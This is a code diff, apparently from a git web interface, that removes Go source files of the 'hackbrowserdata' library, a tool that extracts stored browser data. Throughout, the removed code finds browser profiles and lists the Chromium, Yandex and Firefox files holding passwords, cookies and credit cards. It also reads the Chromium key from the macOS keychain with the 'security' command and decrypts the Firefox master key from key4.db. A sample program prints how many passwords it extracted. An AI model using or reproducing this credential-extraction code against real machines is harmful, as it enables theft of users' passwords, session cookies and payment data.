profiles = append(profiles, filepath.Dir(path)) |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
// calculate the depth of the current path
|
|
||||||
depth := len(strings.Split(path, string(filepath.Separator))) - len(strings.Split(root, string(filepath.Separator))) |
|
||||||
// if the depth is more than 2 and it's a directory, skip it
|
|
||||||
if info.IsDir() && path != root && depth >= 2 { |
|
||||||
return filepath.SkipDir |
|
||||||
} |
|
||||||
return err |
|
||||||
}) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
return profiles, err |
|
||||||
} |
|
@ -1,46 +0,0 @@ |
|||||||
package hackbrowserdata |
|
||||||
|
|
||||||
import ( |
|
||||||
"bytes" |
|
||||||
"crypto/sha1" |
|
||||||
"errors" |
|
||||||
"fmt" |
|
||||||
"os/exec" |
|
||||||
"strings" |
|
||||||
|
|
||||||
"golang.org/x/crypto/pbkdf2" |
|
||||||
) |
|
||||||
|
|
||||||
var ( |
|
||||||
salt = []byte("saltysalt") |
|
||||||
) |
|
||||||
|
|
||||||
func (c *chromium) initMasterKey() error { |
|
||||||
var stdout, stderr bytes.Buffer |
|
||||||
args := []string{"find-generic-password", "-wa", strings.TrimSpace(c.storage)} |
|
||||||
cmd := exec.Command("security", args...) //nolint:gosec
|
|
||||||
cmd.Stdout = &stdout |
|
||||||
cmd.Stderr = &stderr |
|
||||||
if err := cmd.Run(); err != nil { |
|
||||||
return fmt.Errorf("run security command failed: %w, message %s", err, stderr.String()) |
|
||||||
} |
|
||||||
|
|
||||||
if stderr.Len() > 0 { |
|
||||||
if strings.Contains(stderr.String(), "could not be found") { |
|
||||||
return ErrCouldNotFindInKeychain |
|
||||||
} |
|
||||||
return errors.New(stderr.String()) |
|
||||||
} |
|
||||||
|
|
||||||
secret := bytes.TrimSpace(stdout.Bytes()) |
|
||||||
if len(secret) == 0 { |
|
||||||
return ErrNoPasswordInOutput |
|
||||||
} |
|
||||||
|
|
||||||
key := pbkdf2.Key(secret, salt, 1003, 16, sha1.New) |
|
||||||
if len(key) == 0 { |
|
||||||
return ErrWrongSecurityCommand |
|
||||||
} |
|
||||||
c.masterKey = key |
|
||||||
return nil |
|
||||||
} |
|
@ -1 +0,0 @@ |
|||||||
package hackbrowserdata |
|
@ -1 +0,0 @@ |
|||||||
package hackbrowserdata |
|
@ -1,144 +0,0 @@ |
|||||||
package hackbrowserdata |
|
||||||
|
|
||||||
import ( |
|
||||||
"github.com/moond4rk/hackbrowserdata/browserdata" |
|
||||||
) |
|
||||||
|
|
||||||
type DataType int |
|
||||||
|
|
||||||
const ( |
|
||||||
TypeMasterKey DataType = iota |
|
||||||
TypePassword |
|
||||||
TypeCookie |
|
||||||
TypeHistory |
|
||||||
TypeBookmark |
|
||||||
TypeCreditCard |
|
||||||
TypeDownload |
|
||||||
TypeExtensions |
|
||||||
TypeSessionStorage |
|
||||||
TypeLocalStorage |
|
||||||
) |
|
||||||
|
|
||||||
func (i DataType) NewExtractor(browserType browserType, masterKey []byte, datafiles []string) browserdata.Extractor { |
|
||||||
switch i { |
|
||||||
case TypePassword: |
|
||||||
switch browserType { |
|
||||||
case browserTypeChromium: |
|
||||||
return browserdata.NewPassExtractor(masterKey, datafiles, browserdata.DefaultDBHandler, browserdata.ChromiumPassRowsHandler) |
|
||||||
case browserTypeFirefox: |
|
||||||
return browserdata.NewPassExtractor(masterKey, datafiles, browserdata.DefaultJSONHandler, browserdata.FirefoxPassRowsHandler) |
|
||||||
} |
|
||||||
case TypeCookie: |
|
||||||
} |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
var ( |
|
||||||
defaultDataTypes = []DataType{TypePassword, TypeCookie} |
|
||||||
) |
|
||||||
|
|
||||||
const unsupportedType = "" |
|
||||||
|
|
||||||
func (i DataType) Filename(b browser) string { |
|
||||||
switch b.Type() { |
|
||||||
case browserTypeChromium: |
|
||||||
return i.chromiumFilename() |
|
||||||
case browserTypeFirefox: |
|
||||||
return i.firefoxFilename() |
|
||||||
case browserTypeYandex: |
|
||||||
return i.yandexFilename() |
|
||||||
default: |
|
||||||
return unsupportedType |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func (i DataType) chromiumFilename() string { |
|
||||||
switch i { |
|
||||||
case TypeMasterKey: |
|
||||||
return fileChromiumKey |
|
||||||
case TypePassword: |
|
||||||
return fileChromiumPassword |
|
||||||
case TypeCookie: |
|
||||||
return fileChromiumCookie |
|
||||||
case TypeHistory: |
|
||||||
return fileChromiumHistory |
|
||||||
case TypeBookmark: |
|
||||||
return fileChromiumBookmark |
|
||||||
case TypeCreditCard: |
|
||||||
return fileChromiumCredit |
|
||||||
case TypeDownload: |
|
||||||
return fileChromiumDownload |
|
||||||
case TypeExtensions: |
|
||||||
return fileChromiumExtension |
|
||||||
case TypeSessionStorage: |
|
||||||
return fileChromiumSessionStorage |
|
||||||
case TypeLocalStorage: |
|
||||||
return fileChromiumLocalStorage |
|
||||||
default: |
|
||||||
return unsupportedFile |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func (i DataType) yandexFilename() string { |
|
||||||
switch i { |
|
||||||
case TypePassword: |
|
||||||
return fileYandexPassword |
|
||||||
case TypeCreditCard: |
|
||||||
return fileYandexCredit |
|
||||||
default: |
|
||||||
return i.chromiumFilename() |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func (i DataType) firefoxFilename() string { |
|
||||||
switch i { |
|
||||||
case TypeMasterKey: |
|
||||||
return fileFirefoxMasterKey |
|
||||||
case TypePassword: |
|
||||||
return fileFirefoxPassword |
|
||||||
case TypeCookie: |
|
||||||
return fileFirefoxCookie |
|
||||||
case TypeHistory: |
|
||||||
return fileFirefoxData |
|
||||||
case TypeBookmark: |
|
||||||
return fileFirefoxData |
|
||||||
case TypeCreditCard: |
|
||||||
// Firefox does not store credit cards
|
|
||||||
return unsupportedFile |
|
||||||
case TypeDownload: |
|
||||||
return fileFirefoxData |
|
||||||
case TypeExtensions: |
|
||||||
return fileFirefoxExtension |
|
||||||
case TypeSessionStorage: |
|
||||||
return fileFirefoxData |
|
||||||
case TypeLocalStorage: |
|
||||||
return fileFirefoxLocalStorage |
|
||||||
default: |
|
||||||
return unsupportedFile |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
const unsupportedFile = "unsupported file" |
|
||||||
|
|
||||||
const ( |
|
||||||
fileChromiumKey = "Local State" |
|
||||||
fileChromiumCredit = "Web Data" |
|
||||||
fileChromiumPassword = "Login Data" |
|
||||||
fileChromiumHistory = "History" |
|
||||||
fileChromiumDownload = "History" |
|
||||||
fileChromiumCookie = "Cookies" |
|
||||||
fileChromiumBookmark = "Bookmarks" |
|
||||||
fileChromiumLocalStorage = "Local Storage/leveldb" |
|
||||||
fileChromiumSessionStorage = "Session Storage" |
|
||||||
fileChromiumExtension = "Extensions" |
|
||||||
|
|
||||||
fileYandexPassword = "Ya Passman Data" |
|
||||||
fileYandexCredit = "Ya Credit Cards" |
|
||||||
|
|
||||||
fileFirefoxMasterKey = "key4.db" |
|
||||||
fileFirefoxCookie = "cookies.sqlite" |
|
||||||
fileFirefoxPassword = "logins.json" |
|
||||||
fileFirefoxData = "places.sqlite" |
|
||||||
fileFirefoxLocalStorage = "webappsstore.sqlite" |
|
||||||
fileFirefoxExtension = "extensions.json" |
|
||||||
) |
|
@ -1,15 +0,0 @@ |
|||||||
package hackbrowserdata |
|
||||||
|
|
||||||
import ( |
|
||||||
"errors" |
|
||||||
) |
|
||||||
|
|
||||||
var ( |
|
||||||
ErrBrowserNotExists = errors.New("browser not exists") |
|
||||||
ErrBrowserNotSupport = errors.New("browser not support") |
|
||||||
ErrWrongSecurityCommand = errors.New("wrong security command") |
|
||||||
ErrNoPasswordInOutput = errors.New("no password in output") |
|
||||||
ErrCouldNotFindInKeychain = errors.New("could not be find in keychain") |
|
||||||
ErrBrowsingDataNotSupport = errors.New("browsing data not support") |
|
||||||
ErrBrowsingDataNotExists = errors.New("browsing data not exists") |
|
||||||
) |
|
@ -1,23 +0,0 @@ |
|||||||
package main |
|
||||||
|
|
||||||
import ( |
|
||||||
"fmt" |
|
||||||
|
|
||||||
hkb "github.com/moond4rk/hackbrowserdata" |
|
||||||
) |
|
||||||
|
|
||||||
func main() { |
|
||||||
browser, err := hkb.NewBrowser(hkb.Firefox) |
|
||||||
if err != nil { |
|
||||||
panic(err) |
|
||||||
} |
|
||||||
passwords, err := browser.Passwords() |
|
||||||
if err != nil { |
|
||||||
panic(err) |
|
||||||
} |
|
||||||
fmt.Println(len(passwords)) |
|
||||||
// all, err := browser.AllBrowsingData()
|
|
||||||
// if err != nil {
|
|
||||||
// panic(err)
|
|
||||||
// }
|
|
||||||
} |
|
@ -1,202 +0,0 @@ |
|||||||
package hackbrowserdata |
|
||||||
|
|
||||||
import ( |
|
||||||
"bytes" |
|
||||||
"database/sql" |
|
||||||
"errors" |
|
||||||
"fmt" |
|
||||||
"io/fs" |
|
||||||
"os" |
|
||||||
"path/filepath" |
|
||||||
"strings" |
|
||||||
|
|
||||||
// import sqlite3 driver
|
|
||||||
_ "github.com/mattn/go-sqlite3" |
|
||||||
|
|
||||||
"github.com/moond4rk/hackbrowserdata/browserdata" |
|
||||||
"github.com/moond4rk/hackbrowserdata/crypto" |
|
||||||
"github.com/moond4rk/hackbrowserdata/utils/fileutil" |
|
||||||
) |
|
||||||
|
|
||||||
type firefox struct { |
|
||||||
name browser |
|
||||||
storage string |
|
||||||
profilePath string |
|
||||||
profilePaths []string |
|
||||||
profilePathKeys map[string][]byte |
|
||||||
disableFindAllUser bool |
|
||||||
firefoxPassword []byte |
|
||||||
supportedData []DataType |
|
||||||
supportedDataMap map[DataType]struct{} |
|
||||||
} |
|
||||||
|
|
||||||
func NewFirefox(options *Options) (Browser, error) { |
|
||||||
return nil, nil |
|
||||||
} |
|
||||||
|
|
||||||
func (f *firefox) Init() error { |
|
||||||
if err := f.initBrowserData(); err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
if err := f.initProfiles(); err != nil { |
|
||||||
return fmt.Errorf("profile path '%s' does not exist %w", f.profilePath, ErrBrowserNotExists) |
|
||||||
} |
|
||||||
return f.initMasterKey() |
|
||||||
} |
|
||||||
|
|
||||||
func (f *firefox) Passwords() ([]browserdata.Password, error) { |
|
||||||
if _, ok := f.supportedDataMap[TypePassword]; !ok { |
|
||||||
// TODO: Error handle more gracefully
|
|
||||||
return nil, errors.New("password for c.name is not supported") |
|
||||||
} |
|
||||||
var fullPass []browserdata.Password |
|
||||||
for profile, masterKey := range f.profilePathKeys { |
|
||||||
passFile := filepath.Join(profile, TypePassword.Filename(f.name)) |
|
||||||
if !fileutil.IsFileExists(passFile) { |
|
||||||
return nil, errors.New("password file does not exist") |
|
||||||
} |
|
||||||
passwords, err := browserdata.ExportPasswords(masterKey, passFile) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
if len(passwords) > 0 { |
|
||||||
fullPass = append(fullPass, passwords...) |
|
||||||
} |
|
||||||
} |
|
||||||
return fullPass, nil |
|
||||||
} |
|
||||||
|
|
||||||
func (f *firefox) initBrowserData() error { |
|
||||||
if f.supportedDataMap == nil { |
|
||||||
f.supportedDataMap = make(map[DataType]struct{}) |
|
||||||
} |
|
||||||
for _, v := range f.supportedData { |
|
||||||
f.supportedDataMap[v] = struct{}{} |
|
||||||
} |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (f *firefox) initProfiles() error { |
|
||||||
if !fileutil.IsDirExists(f.profilePath) { |
|
||||||
return ErrBrowserNotExists |
|
||||||
} |
|
||||||
if !f.disableFindAllUser { |
|
||||||
profilesPaths, err := f.findAllProfiles() |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
f.profilePaths = profilesPaths |
|
||||||
} else { |
|
||||||
f.profilePaths = []string{f.profilePath} |
|
||||||
} |
|
||||||
f.profilePathKeys = make(map[string][]byte) |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (f *firefox) findAllProfiles() ([]string, error) { |
|
||||||
var profiles []string |
|
||||||
root := fileutil.ParentDir(f.profilePath) |
|
||||||
|
|
||||||
err := filepath.Walk(root, func(path string, info fs.FileInfo, err error) error { |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
if strings.HasSuffix(path, "key4.db") { |
|
||||||
profiles = append(profiles, filepath.Dir(path)) |
|
||||||
} |
|
||||||
depth := len(strings.Split(path, string(filepath.Separator))) - len(strings.Split(root, string(filepath.Separator))) |
|
||||||
|
|
||||||
// if the depth is more than 2 and it's a directory, skip it
|
|
||||||
if info.IsDir() && path != root && depth >= 3 { |
|
||||||
return filepath.SkipDir |
|
||||||
} |
|
||||||
return err |
|
||||||
}) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
return profiles, err |
|
||||||
} |
|
||||||
|
|
||||||
func (f *firefox) initMasterKey() error { |
|
||||||
for _, profile := range f.profilePaths { |
|
||||||
key, err := f.findMasterKey(profile) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
f.profilePathKeys[profile] = key |
|
||||||
} |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (f *firefox) findMasterKey(profile string) ([]byte, error) { |
|
||||||
keyFile := "key4.db" |
|
||||||
keyPath := filepath.Join(profile, keyFile) |
|
||||||
if !fileutil.IsFileExists(keyPath) { |
|
||||||
// TODO: handle error with more details
|
|
||||||
return nil, ErrBrowserNotExists |
|
||||||
} |
|
||||||
tempFile := filepath.Join(os.TempDir(), keyFile) |
|
||||||
if err := fileutil.CopyFile(keyPath, tempFile); err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
defer os.Remove(tempFile) |
|
||||||
globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(tempFile) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
metaPBE, err := crypto.NewASN1PBE(metaBytes) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
|
|
||||||
k, err := metaPBE.Decrypt(globalSalt) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1} |
|
||||||
if !bytes.Equal(k, []byte("password-check")) || !bytes.Equal(nssA102, keyLin) { |
|
||||||
return nil, fmt.Errorf("invalid master key") |
|
||||||
} |
|
||||||
nssPBE, err := crypto.NewASN1PBE(nssA11) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
masterKey, err := nssPBE.Decrypt(globalSalt) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
return masterKey, nil |
|
||||||
} |
|
||||||
|
|
||||||
func getFirefoxDecryptKey(key4file string) (item1, item2, a11, a102 []byte, err error) { |
|
||||||
db, err := sql.Open("sqlite3", key4file) |
|
||||||
if err != nil { |
|
||||||
return nil, nil, nil, nil, err |
|
||||||
} |
|
||||||
defer db.Close() |
|
||||||
var ( |
|
||||||
queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'` |
|
||||||
queryNssPrivate = `SELECT a11, a102 from nssPrivate` |
|
||||||
) |
|
||||||
if err = db.QueryRow(queryMetaData).Scan(&item1, &item2); err != nil { |
|
||||||
return nil, nil, nil, nil, fmt.Errorf("query metaData failed: %w, query: %s", err, queryMetaData) |
|
||||||
} |
|
||||||
|
|
||||||
if err = db.QueryRow(queryNssPrivate).Scan(&a11, &a102); err != nil { |
|
||||||
return nil, nil, nil, nil, fmt.Errorf("query nssPrivate failed: %w, query: %s", err, queryNssPrivate) |
|
||||||
} |
|
||||||
return item1, item2, a11, a102, nil |
|
||||||
} |
|
||||||
|
|
||||||
func (f *firefox) setDisableAllUsers(e bool) { |
|
||||||
f.disableFindAllUser = e |
|
||||||
} |
|
||||||
|
|
||||||
func (f *firefox) setProfilePath(p string) { |
|
||||||
f.profilePath = p |
|
||||||
} |
|
||||||
|
|
||||||
func (f *firefox) setStorageName(s string) { |
|
||||||
f.storage = s |
|
||||||
} |
|
@ -1,17 +0,0 @@ |
|||||||
package hackbrowserdata |
|
||||||
|
|
||||||
import ( |
|
||||||
"testing" |
|
||||||
) |
|
||||||
|
|
||||||
func TestFirefox_Init(t *testing.T) { |
|
||||||
// firefox := browsers[Firefox]
|
|
||||||
// if err := firefox.Init(); err != nil {
|
|
||||||
// t.Fatal(err)
|
|
||||||
// }
|
|
||||||
// passwords, err := firefox.Passwords()
|
|
||||||
// if err != nil {
|
|
||||||
// t.Fatal(err)
|
|
||||||
// }
|
|
||||||
// fmt.Println(passwords)
|
|
||||||
} |
|
@ -1,36 +0,0 @@ |
|||||||
package hackbrowserdata |
|
||||||
|
|
||||||
type Options struct { |
|
||||||
Name browser |
|
||||||
Storage string |
|
||||||
ProfilePath string |
|
||||||
IsEnableAllUser bool |
|
||||||
DataTypes []DataType |
|
||||||
NewBrowserFunc func(*Options) (Browser, error) |
|
||||||
} |
|
||||||
|
|
||||||
type BrowserOption func(*Options) |
|
||||||
|
|
||||||
func WithBrowserName(p string) BrowserOption { |
|
||||||
return func(o *Options) { |
|
||||||
o.Name = browser(p) |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func WithProfilePath(p string) BrowserOption { |
|
||||||
return func(o *Options) { |
|
||||||
o.ProfilePath = p |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func WithEnableAllUsers(e bool) BrowserOption { |
|
||||||
return func(o *Options) { |
|
||||||
o.IsEnableAllUser = e |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func WithStorageName(s string) BrowserOption { |
|
||||||
return func(o *Options) { |
|
||||||
o.Storage = s |
|
||||||
} |
|
||||||
} |
|
Loading…
Reference in new issue